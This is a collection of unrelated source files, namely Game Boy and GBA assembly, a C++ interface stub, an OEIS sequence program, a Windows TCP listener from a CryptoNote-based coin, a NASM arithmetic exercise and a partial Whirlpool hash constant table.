h cp d jr nz, finish_selection_loop ; Loaded section to RAM, jump to it jp $C000 read_buttons: ld a, $20 ldh [$00], a ldh a, [$00] ldh a, [$00] ldh a, [$00] ldh a, [$00] ldh a, [$00] ldh a, [$00] ldh a, [$00] ldh a, [$00] ld b, a ld a, $10 ldh [$00], a ldh a, [$00] ldh a, [$00] ldh a, [$00] ldh a, [$00] ldh a, [$00] ldh a, [$00] ldh a, [$00] ldh a, [$00] and $0F sla b sla b sla b sla b or b ret SECTION "load_poll",ROM0[$1000] load_poll: ld hl, $0 ld a, $A ld [hl], a ; Mark that we are ready for the game load by writing ; the selected game number to external RAM ldh a, [$81] ld hl, $A000 ld [hl], a ld b, $BE ; Keep checking external RAM until we get 0xBE back load_poll_loop: ld a, [hl] cp b jr nz, load_poll_loop ; Wait for a V-Blank load_poll_vblank: ldh a, [$44] cp $90 jr nz, load_poll_vblank ; The firmware has loaded the game and we can try to run it ; Load proper inital values to LCD ld a, $91 ldh [$40], a ld a, $FC ldh [$45], a ; Prepare the load address ld sp, $FFFE ld hl, $100 push hl ; Load proper inital values to registers ; Can't write HL directly ld hl, $11B0 push hl pop af ld bc, $0013 ld de, $00D8 ld hl, $014D ; Pop the return address off the stack and start running the gameLCD! ret load_poll_done:
//-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~ // Helmet Software Framework // // Copyright (C) 2018 Hat Boy Software, Inc. // // @author Matthew Alan Gray - <mgray@hatboysoftware.com> // @author Tony Richards - <trichards@indiezen.com> //-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~ #include <Helmet/Workbench/I_Notebook.hpp> //-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~ namespace Helmet { namespace Workbench { //-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~ I_Notebook::I_Notebook() { } //-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~ I_Notebook::~I_Notebook() { } //-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~ } // namespace Workbench } // namespace Helmet //-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~
/* void pal_blend_asm(COLOR *pa, COLOR *pb, COLOR *pc, int nclrs, u32 alpha) CODE_IN_IWRAM; //! Blends palettes pa and pb into pc. //! \param pa, pb. Source palettes //! \param pc. Destination palette //! \param nclrs Number of colors //! \param alpha Blend weight 0-32 //! \note u32 version, 2 clrs/loop. Loop: 16i/30c, Barrel shifter FTW. */ .section .iwram,"ax", %progbits .align 2 .arm .global clr_blend_asm clr_blend_asm: @ movs r3, r3, lsr #1 @ adjust nclrs for u32 run @ bxeq lr @ quit on nclrs=0 @r0 = clr1, r1 = clr2, r2 = alpha lsl r2, #2 @alpha x 4 stmfd sp!, {r4-r10} ldr r7, =0x03E07C1F @ MASKLO: -g-|b-r mov r6, r7, lsl #5 @ MASKHI: g-|b-r- @ .Lpbld_loop: @mov r8, r0 @ a= *pa @mov r9, r1 @ b= *pb @ --- -g-|b-r and r4, r6, r0, lsl #5 @ x/32: (-g-|b-r) and r5, r7, r1 @ y: -g-|b-r sub r5, r5, r4, lsr #5 @ z: y-x mla r4, r5, r2, r4 @ z: (y-x)*w x*32 and r10, r7, r4, lsr #5 @ blend(-g-|b-r) @ --- b-r|-g- (rotated by 16 for cheapskatiness) and r4, r6, r0, ror #11 @ x/32: -g-|b-r (ror16) and r5, r7, r1, ror #16 @ y: -g-|b-r (ror16) sub r5, r5, r4, lsr #5 @ z: y-x mla r4, r5, r2, r4 @ z: (y-x)*w x*32 and r4, r7, r4, lsr #5 @ blend(-g-|b-r (ror16)) @ --- mix -g-|b-r and b-r|-g- @ orr r10, r10, r4, ror #16 orr r0, r10, r4, ror #16 lsl r0, #16 lsr r0, #16 @@wipe top 2 bytes??? @ --- write blended, loop @ str r10, [r2], #4 @ *pc = c @ subs r3, r3, #1 @ bgt .Lpbld_loop ldmfd sp!, {r4-r10} bx lr
; A116817: Number of permutations of length n which avoid the patterns 2341, 3241, 4132. ; Submitted by Jon Maiga ; 1,2,6,21,74,257,881,2995,10132,34182,115143,387538,1303745,4384933,14746009,49585430,166730986,560620697,1885023706,6338138505,21311063589,71655198707,240929422288,810087129234,2723789200907 add $0,2 lpb $0 sub $0,1 add $2,$1 add $3,$1 add $4,$1 mul $5,2 add $5,$2 add $1,$5 add $1,1 mov $2,$3 add $2,$4 sub $5,$4 mov $3,$5 lpe mov $0,$3 add $0,1
// Copyright (c) 2012-2016, The CryptoNote developers, The Bytecoin developers // // This file is part of Urbancash. // // Urbancash is free software: you can redistribute it and/or modify // it under the terms of the GNU Lesser General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Urbancash is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Lesser General Public License for more details. // // You should have received a copy of the GNU Lesser General Public License // along with Urbancash. If not, see <http://www.gnu.org/licenses/>. #include "TcpListener.h" #include <cassert> #include <stdexcept> #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif #include <winsock2.h> #include <mswsock.h> #include <System/InterruptedException.h> #include <System/Ipv4Address.h> #include "Dispatcher.h" #include "ErrorMessage.h" #include "TcpConnection.h" namespace System { namespace { struct TcpListenerContext : public OVERLAPPED { NativeContext* context; bool interrupted; }; LPFN_ACCEPTEX acceptEx = nullptr; } TcpListener::TcpListener() : dispatcher(nullptr) { } TcpListener::TcpListener(Dispatcher& dispatcher, const Ipv4Address& address, uint16_t port) : dispatcher(&dispatcher) { std::string message; listener = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (listener == INVALID_SOCKET) { message = "socket failed, " + errorMessage(WSAGetLastError()); } else { sockaddr_in addressData; addressData.sin_family = AF_INET; addressData.sin_port = htons(port); addressData.sin_addr.S_un.S_addr = htonl(address.getValue()); if (bind(listener, reinterpret_cast<sockaddr*>(&addressData), sizeof(addressData)) != 0) { message = "bind failed, " + errorMessage(WSAGetLastError()); } else if (listen(listener, SOMAXCONN) != 0) { message = "listen failed, " + errorMessage(WSAGetLastError()); } else { GUID guidAcceptEx = WSAID_ACCEPTEX; DWORD read = sizeof acceptEx; if (acceptEx == nullptr && WSAIoctl(listener, SIO_GET_EXTENSION_FUNCTION_POINTER, &guidAcceptEx, sizeof guidAcceptEx, &acceptEx, sizeof acceptEx, &read, NULL, NULL) != 0) { message = "WSAIoctl failed, " + errorMessage(WSAGetLastError()); } else { assert(read == sizeof acceptEx); if (CreateIoCompletionPort(reinterpret_cast<HANDLE>(listener), dispatcher.getCompletionPort(), 0, 0) != dispatcher.getCompletionPort()) { message = "CreateIoCompletionPort failed, " + lastErrorMessage(); } else { context = nullptr; return; } } } int result = closesocket(listener); assert(result == 0); } throw std::runtime_error("TcpListener::TcpListener, " + message); } TcpListener::TcpListener(TcpListener&& other) : dispatcher(other.dispatcher) { if (dispatcher != nullptr) { assert(other.context == nullptr); listener = other.listener; context = nullptr; other.dispatcher = nullptr; } } TcpListener::~TcpListener() { if (dispatcher != nullptr) { assert(context == nullptr); int result = closesocket(listener); assert(result == 0); } } TcpListener& TcpListener::operator=(TcpListener&& other) { if (dispatcher != nullptr) { assert(context == nullptr); if (closesocket(listener) != 0) { throw std::runtime_error("TcpListener::operator=, closesocket failed, " + errorMessage(WSAGetLastError())); } } dispatcher = other.dispatcher; if (dispatcher != nullptr) { assert(other.context == nullptr); listener = other.listener; context = nullptr; other.dispatcher = nullptr; } return *this; } TcpConnection TcpListener::accept() { assert(dispatcher != nullptr); assert(context == nullptr); if (dispatcher->interrupted()) { throw InterruptedException(); } std::string message; SOCKET connection = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (connection == INVALID_SOCKET) { message = "socket failed, " + errorMessage(WSAGetLastError()); } else { uint8_t addresses[sizeof sockaddr_in * 2 + 32]; DWORD received; TcpListenerContext context2; context2.hEvent = NULL; if (acceptEx(listener, connection, addresses, 0, sizeof(sockaddr_in) + 16, sizeof(sockaddr_in) + 16, &received, &context2) == TRUE) { message = "AcceptEx returned immediately, which is not supported."; } else { int lastError = WSAGetLastError(); if (lastError != WSA_IO_PENDING) { message = "AcceptEx failed, " + errorMessage(lastError); } else { context2.context = dispatcher->getCurrentContext(); context2.interrupted = false; context = &context2; dispatcher->getCurrentContext()->interruptProcedure = [&]() { assert(dispatcher != nullptr); assert(context != nullptr); TcpListenerContext* context2 = static_cast<TcpListenerContext*>(context); if (!context2->interrupted) { if (CancelIoEx(reinterpret_cast<HANDLE>(listener), context2) != TRUE) { DWORD lastError = GetLastError(); if (lastError != ERROR_NOT_FOUND) { throw std::runtime_error("TcpListener::stop, CancelIoEx failed, " + lastErrorMessage()); } context2->context->interrupted = true; } context2->interrupted = true; } }; dispatcher->dispatch(); dispatcher->getCurrentContext()->interruptProcedure = nullptr; assert(context2.context == dispatcher->getCurrentContext()); assert(dispatcher != nullptr); assert(context == &context2); context = nullptr; DWORD transferred; DWORD flags; if (WSAGetOverlappedResult(listener, &context2, &transferred, FALSE, &flags) != TRUE) { lastError = WSAGetLastError(); if (lastError != ERROR_OPERATION_ABORTED) { message = "AcceptEx failed, " + errorMessage(lastError); } else { assert(context2.interrupted); if (closesocket(connection) != 0) { throw std::runtime_error("TcpListener::accept, closesocket failed, " + errorMessage(WSAGetLastError())); } else { throw InterruptedException(); } } } else { assert(transferred == 0); assert(flags == 0); if (setsockopt(connection, SOL_SOCKET, SO_UPDATE_ACCEPT_CONTEXT, reinterpret_cast<char*>(&listener), sizeof listener) != 0) { message = "setsockopt failed, " + errorMessage(WSAGetLastError()); } else { if (CreateIoCompletionPort(reinterpret_cast<HANDLE>(connection), dispatcher->getCompletionPort(), 0, 0) != dispatcher->getCompletionPort()) { message = "CreateIoCompletionPort failed, " + lastErrorMessage(); } else { return TcpConnection(*dispatcher, connection); } } } } } int result = closesocket(connection); assert(result == 0); } throw std::runtime_error("TcpListener::accept, " + message); } }
extern scanf extern printf section .data input: db "%d %d", 0 output: db "%d", 10, 0 a: times 4 db 0 b: times 4 db 0 section .text global main main: lea esp, [esp-12] ;a, b 입력 mov dword[esp], input mov dword[esp+4], a mov dword[esp+8], b call scanf ;첫째 줄에 A+B, 둘째 줄에 A-B, 셋째 줄에 A*B, 넷째 줄에 A/B, 다섯째 줄에 A%B mov edi, dword[a] mov esi, dword[b] ;a+b mov eax, edi add eax, esi ;출력 mov dword[esp], output mov dword[esp+4], eax call printf ;a-b mov eax, edi sub eax, esi ;출력 mov dword[esp], output mov dword[esp+4], eax call printf ;a*b mov eax, edi imul esi ;출력 mov dword[esp], output mov dword[esp+4], eax call printf ;a/b mov eax, edi cdq idiv esi ;몫 출력 mov dword[esp], output mov dword[esp+4], eax call printf mov eax, edi cdq idiv esi ;나머지 출력 mov dword[esp], output mov dword[esp+4], edx call printf ;종료 add esp, 12 mov eax, 0 ret
.const u64 struct Lo dd ? Hi dd ? u64 ends .data align qword IFNDEF Whirlpool_0 ; the Tweaked version WhirlpoolC0 label qword dq 018186018c07830d8h,023238c2305af4626h,0c6c63fc67ef991b8h,0e8e887e8136fcdfbh dq 0878726874ca113cbh,0b8b8dab8a9626d11h,00101040108050209h,04f4f214f426e9e0dh dq 03636d836adee6c9bh,0a6a6a2a6590451ffh,0d2d26fd2debdb90ch,0f5f5f3f5fb06f70eh dq 07979f979ef80f296h,06f6fa16f5fcede30h,091917e91fcef3f6dh,052525552aa07a4f8h dq 060609d6027fdc047h,0bcbccabc89766535h,09b9b569baccd2b37h,08e8e028e048c018ah dq 0a3a3b6a371155bd2h,00c0c300c603c186ch,07b7bf17bff8af684h,03535d435b5e16a80h dq 01d1d741de8693af5h,0e0e0a7e05347ddb3h,0d7d77bd7f6acb321h,0c2c22fc25eed999ch dq 02e2eb82e6d965c43h,04b4b314b627a9629h,0fefedffea321e15dh,0575741578216aed5h dq 015155415a8412abdh,07777c1779fb6eee8h,03737dc37a5eb6e92h,0e5e5b3e57b56d79eh dq 09f9f469f8cd92313h,0f0f0e7f0d317fd23h,04a4a354a6a7f9420h,0dada4fda9e95a944h dq 058587d58fa25b0a2h,0c9c903c906ca8fcfh,02929a429558d527ch,00a0a280a5022145ah dq 0b1b1feb1e14f7f50h,0a0a0baa0691a5dc9h,06b6bb16b7fdad614h,085852e855cab17d9h dq 0bdbdcebd8173673ch,05d5d695dd234ba8fh,01010401080502090h,0f4f4f7f4f303f507h dq 0cbcb0bcb16c08bddh,03e3ef83eedc67cd3h,00505140528110a2dh,0676781671fe6ce78h dq 0e4e4b7e47353d597h,027279c2725bb4e02h,04141194132588273h,08b8b168b2c9d0ba7h dq 0a7a7a6a7510153f6h,07d7de97dcf94fab2h,095956e95dcfb3749h,0d8d847d88e9fad56h dq 0fbfbcbfb8b30eb70h,0eeee9fee2371c1cdh,07c7ced7cc791f8bbh,06666856617e3cc71h dq 0dddd53dda68ea77bh,017175c17b84b2eafh,04747014702468e45h,09e9e429e84dc211ah dq 0caca0fca1ec589d4h,02d2db42d75995a58h,0bfbfc6bf9179632eh,007071c07381b0e3fh dq 0adad8ead012347ach,05a5a755aea2fb4b0h,0838336836cb51befh,03333cc3385ff66b6h dq 0636391633ff2c65ch,002020802100a0412h,0aaaa92aa39384993h,07171d971afa8e2deh dq 0c8c807c80ecf8dc6h,019196419c87d32d1h,0494939497270923bh,0d9d943d9869aaf5fh dq 0f2f2eff2c31df931h,0e3e3abe34b48dba8h,05b5b715be22ab6b9h,088881a8834920dbch dq 09a9a529aa4c8293eh,0262698262dbe4c0bh,03232c8328dfa64bfh,0b0b0fab0e94a7d59h dq 0e9e983e91b6acff2h,00f0f3c0f78331e77h,0d5d573d5e6a6b733h,080803a8074ba1df4h dq 0bebec2be997c6127h,0cdcd13cd26de87ebh,03434d034bde46889h,048483d487a759032h dq 0ffffdbffab24e354h,07a7af57af78ff48dh,090907a90f4ea3d64h,05f5f615fc23ebe9dh dq 0202080201da0403dh,06868bd6867d5d00fh,01a1a681ad07234cah,0aeae82ae192c41b7h dq 0b4b4eab4c95e757dh,054544d549a19a8ceh,093937693ece53b7fh,0222288220daa442fh dq 064648d6407e9c863h,0f1f1e3f1db12ff2ah,07373d173bfa2e6cch,012124812905a2482h dq 040401d403a5d807ah,00808200840281048h,0c3c32bc356e89b95h,0ecec97ec337bc5dfh dq 0dbdb4bdb9690ab4dh,0a1a1bea1611f5fc0h,08d8d0e8d1c830791h,03d3df43df5c97ac8h dq 097976697ccf1335bh,00000000000000000h,0cfcf1bcf36d483f9h,02b2bac2b4587566eh dq 07676c57697b3ece1h,08282328264b019e6h,0d6d67fd6fea9b128h,01b1b6c1bd87736c3h dq 0b5b5eeb5c15b7774h,0afaf86af112943beh,06a6ab56a77dfd41dh,050505d50ba0da0eah dq 045450945124c8a57h,0f3f3ebf3cb18fb38h,03030c0309df060adh,0efef9bef2b74c3c4h dq 03f3ffc3fe5c37edah,055554955921caac7h,0a2a2b2a2791059dbh,0eaea8fea0365c9e9h dq 0656589650fecca6ah,0babad2bab9686903h,02f2fbc2f65935e4ah,0c0c027c04ee79d8eh dq 0dede5fdebe81a160h,01c1c701ce06c38fch,0fdfdd3fdbb2ee746h,04d4d294d52649a1fh dq 092927292e4e03976h,07575c9758fbceafah,006061806301e0c36h,08a8a128a249809aeh dq 0b2b2f2b2f940794bh,0e6e6bfe66359d185h,00e0e380e70361c7eh,01f1f7c1ff8633ee7h dq 06262956237f7c455h,0d4d477d4eea3b53ah,0a8a89aa829324d81h,096966296c4f43152h dq 0f9f9c3f99b3aef62h,0c5c533c566f697a3h,02525942535b14a10h,059597959f220b2abh dq 084842a8454ae15d0h,07272d572b7a7e4c5h,03939e439d5dd72ech,04c4c2d4c5a619816h dq 05e5e655eca3bbc94h,07878fd78e785f09fh,03838e038ddd870e5h,08c8c0a8c14860598h dq 0d1d163d1c6b2bf17h,0a5a5aea5410b57e4h,0e2e2afe2434dd9a1h,0616199612ff8c24eh dq 0b3b3f6b3f1457b42h,02121842115a54234h,09c9c4a9c94d62508h,01e1e781ef0663ceeh dq 04343114322528661h,0c7c73bc776fc93b1h,0fcfcd7fcb32be54fh,00404100420140824h dq 051515951b208a2e3h,099995e99bcc72f25h,06d6da96d4fc4da22h,00d0d340d68391a65h dq 0fafacffa8335e979h,0dfdf5bdfb684a369h,07e7ee57ed79bfca9h,0242490243db44819h dq 03b3bec3bc5d776feh,0abab96ab313d4b9ah,0cece1fce3ed181f0h,01111441188552299h dq 08f8f068f0c890383h,04e4e254e4a6b9c04h,0b7b7e6b7d1517366h,0ebeb8beb0b60cbe0h dq 03c3cf03cfdcc78c1h,081813e817cbf1ffdh,094946a94d4fe3540h,0f7f7fbf7eb0cf31ch dq 0b9b9deb9a1676f18h,013134c13985f268bh,02c2cb02c7d9c5851h,0d3d36bd3d6b8bb05h dq 0e7e7bbe76b5cd38ch,06e6ea56e57cbdc39h,0c4c437c46ef395aah,003030c03180f061bh dq 0565645568a13acdch,044440d441a49885eh,07f7fe17fdf9efea0h,0a9a99ea921374f88h dq 02a2aa82a4d825467h,0bbbbd6bbb16d6b0ah,0c1c123c146e29f87h,053535153a202a6f1h dq 0dcdc57dcae8ba572h,00b0b2c0b58271653h,09d9d4e9d9cd32701h,06c6cad6c47c1d82bh dq 03131c43195f562a4h,07474cd7487b9e8f3h,0f6f6fff6e309f115h,0464605460a438c4ch dq 0acac8aac092645a5h,089891e893c970fb5h,014145014a04428b4h,0e1e1a3e15b42dfbah dq 016165816b04e2ca6h,03a3ae83acdd274f7h,06969b9696fd0d206h,009092409482d1241h dq 07070dd70a7ade0d7h,0b6b6e2b6d954716fh,0d0d067d0ceb7bd1eh,0eded93ed3b7ec7d6h dq 0cccc17cc2edb85e2h,0424215422a578468h,098985a98b4c22d2ch,0a4a4aaa4490e55edh dq 02828a0285d885075h,05c5c6d5cda31b886h,0f8f8c7f8933fed6bh,08686228644a411c2h WhirlpoolC1 label qword dq 0d818186018c07830h,02623238c2305af46h,0b8c6c63fc67ef991h,0fbe8e887e8136fcdh dq 0cb878726874ca113h,011b8b8dab8a9626dh,00901010401080502h,00d4f4f214f426e9eh dq 09b3636d836adee6ch,0ffa6a6a2a6590451h,00cd2d26fd2debdb9h,00ef5f5f3f5fb06f7h dq 0967979f979ef80f2h,0306f6fa16f5fcedeh,06d91917e91fcef3fh,0f852525552aa07a4h dq 04760609d6027fdc0h,035bcbccabc897665h,0379b9b569baccd2bh,08a8e8e028e048c01h dq 0d2a3a3b6a371155bh,06c0c0c300c603c18h,0847b7bf17bff8af6h,0803535d435b5e16ah dq 0f51d1d741de8693ah,0b3e0e0a7e05347ddh,021d7d77bd7f6acb3h,09cc2c22fc25eed99h dq 0432e2eb82e6d965ch,0294b4b314b627a96h,05dfefedffea321e1h,0d5575741578216aeh dq 0bd15155415a8412ah,0e87777c1779fb6eeh,0923737dc37a5eb6eh,09ee5e5b3e57b56d7h dq 0139f9f469f8cd923h,023f0f0e7f0d317fdh,0204a4a354a6a7f94h,044dada4fda9e95a9h dq 0a258587d58fa25b0h,0cfc9c903c906ca8fh,07c2929a429558d52h,05a0a0a280a502214h dq 050b1b1feb1e14f7fh,0c9a0a0baa0691a5dh,0146b6bb16b7fdad6h,0d985852e855cab17h dq 03cbdbdcebd817367h,08f5d5d695dd234bah,09010104010805020h,007f4f4f7f4f303f5h dq 0ddcbcb0bcb16c08bh,0d33e3ef83eedc67ch,02d0505140528110ah,078676781671fe6ceh dq 097e4e4b7e47353d5h,00227279c2725bb4eh,07341411941325882h,0a78b8b168b2c9d0bh dq 0f6a7a7a6a7510153h,0b27d7de97dcf94fah,04995956e95dcfb37h,056d8d847d88e9fadh dq 070fbfbcbfb8b30ebh,0cdeeee9fee2371c1h,0bb7c7ced7cc791f8h,0716666856617e3cch dq 07bdddd53dda68ea7h,0af17175c17b84b2eh,0454747014702468eh,01a9e9e429e84dc21h dq 0d4caca0fca1ec589h,0582d2db42d75995ah,02ebfbfc6bf917963h,03f07071c07381b0eh dq 0acadad8ead012347h,0b05a5a755aea2fb4h,0ef838336836cb51bh,0b63333cc3385ff66h dq 05c636391633ff2c6h,01202020802100a04h,093aaaa92aa393849h,0de7171d971afa8e2h dq 0c6c8c807c80ecf8dh,0d119196419c87d32h,03b49493949727092h,05fd9d943d9869aafh dq 031f2f2eff2c31df9h,0a8e3e3abe34b48dbh,0b95b5b715be22ab6h,0bc88881a8834920dh dq 03e9a9a529aa4c829h,00b262698262dbe4ch,0bf3232c8328dfa64h,059b0b0fab0e94a7dh dq 0f2e9e983e91b6acfh,0770f0f3c0f78331eh,033d5d573d5e6a6b7h,0f480803a8074ba1dh dq 027bebec2be997c61h,0ebcdcd13cd26de87h,0893434d034bde468h,03248483d487a7590h dq 054ffffdbffab24e3h,08d7a7af57af78ff4h,06490907a90f4ea3dh,09d5f5f615fc23ebeh dq 03d202080201da040h,00f6868bd6867d5d0h,0ca1a1a681ad07234h,0b7aeae82ae192c41h dq 07db4b4eab4c95e75h,0ce54544d549a19a8h,07f93937693ece53bh,02f222288220daa44h dq 06364648d6407e9c8h,02af1f1e3f1db12ffh,0cc7373d173bfa2e6h,08212124812905a24h dq 07a40401d403a5d80h,04808082008402810h,095c3c32bc356e89bh,0dfecec97ec337bc5h dq 04ddbdb4bdb9690abh,0c0a1a1bea1611f5fh,0918d8d0e8d1c8307h,0c83d3df43df5c97ah dq 05b97976697ccf133h,00000000000000000h,0f9cfcf1bcf36d483h,06e2b2bac2b458756h dq 0e17676c57697b3ech,0e68282328264b019h,028d6d67fd6fea9b1h,0c31b1b6c1bd87736h dq 074b5b5eeb5c15b77h,0beafaf86af112943h,01d6a6ab56a77dfd4h,0ea50505d50ba0da0h dq 05745450945124c8ah,038f3f3ebf3cb18fbh,0ad3030c0309df060h,0c4efef9bef2b74c3h dq 0da3f3ffc3fe5c37eh,0c755554955921caah,0dba2a2b2a2791059h,0e9eaea8fea0365c9h dq 06a656589650feccah,003babad2bab96869h,04a2f2fbc2f65935eh,08ec0c027c04ee79dh dq 060dede5fdebe81a1h,0fc1c1c701ce06c38h,046fdfdd3fdbb2ee7h,01f4d4d294d52649ah dq 07692927292e4e039h,0fa7575c9758fbceah,03606061806301e0ch,0ae8a8a128a249809h dq 04bb2b2f2b2f94079h,085e6e6bfe66359d1h,07e0e0e380e70361ch,0e71f1f7c1ff8633eh dq 0556262956237f7c4h,03ad4d477d4eea3b5h,081a8a89aa829324dh,05296966296c4f431h dq 062f9f9c3f99b3aefh,0a3c5c533c566f697h,0102525942535b14ah,0ab59597959f220b2h dq 0d084842a8454ae15h,0c57272d572b7a7e4h,0ec3939e439d5dd72h,0164c4c2d4c5a6198h dq 0945e5e655eca3bbch,09f7878fd78e785f0h,0e53838e038ddd870h,0988c8c0a8c148605h dq 017d1d163d1c6b2bfh,0e4a5a5aea5410b57h,0a1e2e2afe2434dd9h,04e616199612ff8c2h dq 042b3b3f6b3f1457bh,0342121842115a542h,0089c9c4a9c94d625h,0ee1e1e781ef0663ch dq 06143431143225286h,0b1c7c73bc776fc93h,04ffcfcd7fcb32be5h,02404041004201408h dq 0e351515951b208a2h,02599995e99bcc72fh,0226d6da96d4fc4dah,0650d0d340d68391ah dq 079fafacffa8335e9h,069dfdf5bdfb684a3h,0a97e7ee57ed79bfch,019242490243db448h dq 0fe3b3bec3bc5d776h,09aabab96ab313d4bh,0f0cece1fce3ed181h,09911114411885522h dq 0838f8f068f0c8903h,0044e4e254e4a6b9ch,066b7b7e6b7d15173h,0e0ebeb8beb0b60cbh dq 0c13c3cf03cfdcc78h,0fd81813e817cbf1fh,04094946a94d4fe35h,01cf7f7fbf7eb0cf3h dq 018b9b9deb9a1676fh,08b13134c13985f26h,0512c2cb02c7d9c58h,005d3d36bd3d6b8bbh dq 08ce7e7bbe76b5cd3h,0396e6ea56e57cbdch,0aac4c437c46ef395h,01b03030c03180f06h dq 0dc565645568a13ach,05e44440d441a4988h,0a07f7fe17fdf9efeh,088a9a99ea921374fh dq 0672a2aa82a4d8254h,00abbbbd6bbb16d6bh,087c1c123c146e29fh,0f153535153a202a6h dq 072dcdc57dcae8ba5h,0530b0b2c0b582716h,0019d9d4e9d9cd327h,02b6c6cad6c47c1d8h dq 0a43131c43195f562h,0f37474cd7487b9e8h,015f6f6fff6e309f1h,04c464605460a438ch dq 0a5acac8aac092645h,0b589891e893c970fh,0b414145014a04428h,0bae1e1a3e15b42dfh dq 0a616165816b04e2ch,0f73a3ae83acdd274h,0066969b9696fd0d2h,04109092409482d12h dq 0d77070dd70a7ade0h,06fb6b6e2b6d95471h,01ed0d067d0ceb7bdh,0d6eded93ed3b7ec7h dq 0e2cccc17cc2edb85h,068424215422a5784h,02c98985a98b4c22dh,0eda4a4aaa4490e55h dq 0752828a0285d8850h,0865c5c6d5cda31b8h,06bf8f8c7f8933fedh,0c28686228644a411h WhirlpoolC2 label qword dq 030d818186018c078h,0462623238c2305afh,091b8c6c63fc67ef9h,0cdfbe8e887e8136fh dq 013cb878726874ca1h,06d11b8b8dab8a962h,00209010104010805h,09e0d4f4f214f426eh dq 06c9b3636d836adeeh,051ffa6a6a2a65904h,0b90cd2d26fd2debdh,0f70ef5f5f3f5fb06h dq 0f2967979f979ef80h,0de306f6fa16f5fceh,03f6d91917e91fcefh,0a4f852525552aa07h dq 0c04760609d6027fdh,06535bcbccabc8976h,02b379b9b569baccdh,0018a8e8e028e048ch dq 05bd2a3a3b6a37115h,0186c0c0c300c603ch,0f6847b7bf17bff8ah,06a803535d435b5e1h dq 03af51d1d741de869h,0ddb3e0e0a7e05347h,0b321d7d77bd7f6ach,0999cc2c22fc25eedh dq 05c432e2eb82e6d96h,096294b4b314b627ah,0e15dfefedffea321h,0aed5575741578216h dq 02abd15155415a841h,0eee87777c1779fb6h,06e923737dc37a5ebh,0d79ee5e5b3e57b56h dq 023139f9f469f8cd9h,0fd23f0f0e7f0d317h,094204a4a354a6a7fh,0a944dada4fda9e95h dq 0b0a258587d58fa25h,08fcfc9c903c906cah,0527c2929a429558dh,0145a0a0a280a5022h dq 07f50b1b1feb1e14fh,05dc9a0a0baa0691ah,0d6146b6bb16b7fdah,017d985852e855cabh dq 0673cbdbdcebd8173h,0ba8f5d5d695dd234h,02090101040108050h,0f507f4f4f7f4f303h dq 08bddcbcb0bcb16c0h,07cd33e3ef83eedc6h,00a2d050514052811h,0ce78676781671fe6h dq 0d597e4e4b7e47353h,04e0227279c2725bbh,08273414119413258h,00ba78b8b168b2c9dh dq 053f6a7a7a6a75101h,0fab27d7de97dcf94h,0374995956e95dcfbh,0ad56d8d847d88e9fh dq 0eb70fbfbcbfb8b30h,0c1cdeeee9fee2371h,0f8bb7c7ced7cc791h,0cc716666856617e3h dq 0a77bdddd53dda68eh,02eaf17175c17b84bh,08e45474701470246h,0211a9e9e429e84dch dq 089d4caca0fca1ec5h,05a582d2db42d7599h,0632ebfbfc6bf9179h,00e3f07071c07381bh dq 047acadad8ead0123h,0b4b05a5a755aea2fh,01bef838336836cb5h,066b63333cc3385ffh dq 0c65c636391633ff2h,0041202020802100ah,04993aaaa92aa3938h,0e2de7171d971afa8h dq 08dc6c8c807c80ecfh,032d119196419c87dh,0923b494939497270h,0af5fd9d943d9869ah dq 0f931f2f2eff2c31dh,0dba8e3e3abe34b48h,0b6b95b5b715be22ah,00dbc88881a883492h dq 0293e9a9a529aa4c8h,04c0b262698262dbeh,064bf3232c8328dfah,07d59b0b0fab0e94ah dq 0cff2e9e983e91b6ah,01e770f0f3c0f7833h,0b733d5d573d5e6a6h,01df480803a8074bah dq 06127bebec2be997ch,087ebcdcd13cd26deh,068893434d034bde4h,0903248483d487a75h dq 0e354ffffdbffab24h,0f48d7a7af57af78fh,03d6490907a90f4eah,0be9d5f5f615fc23eh dq 0403d202080201da0h,0d00f6868bd6867d5h,034ca1a1a681ad072h,041b7aeae82ae192ch dq 0757db4b4eab4c95eh,0a8ce54544d549a19h,03b7f93937693ece5h,0442f222288220daah dq 0c86364648d6407e9h,0ff2af1f1e3f1db12h,0e6cc7373d173bfa2h,0248212124812905ah dq 0807a40401d403a5dh,01048080820084028h,09b95c3c32bc356e8h,0c5dfecec97ec337bh dq 0ab4ddbdb4bdb9690h,05fc0a1a1bea1611fh,007918d8d0e8d1c83h,07ac83d3df43df5c9h dq 0335b97976697ccf1h,00000000000000000h,083f9cfcf1bcf36d4h,0566e2b2bac2b4587h dq 0ece17676c57697b3h,019e68282328264b0h,0b128d6d67fd6fea9h,036c31b1b6c1bd877h dq 07774b5b5eeb5c15bh,043beafaf86af1129h,0d41d6a6ab56a77dfh,0a0ea50505d50ba0dh dq 08a5745450945124ch,0fb38f3f3ebf3cb18h,060ad3030c0309df0h,0c3c4efef9bef2b74h dq 07eda3f3ffc3fe5c3h,0aac755554955921ch,059dba2a2b2a27910h,0c9e9eaea8fea0365h dq 0ca6a656589650fech,06903babad2bab968h,05e4a2f2fbc2f6593h,09d8ec0c027c04ee7h dq 0a160dede5fdebe81h,038fc1c1c701ce06ch,0e746fdfdd3fdbb2eh,09a1f4d4d294d5264h dq 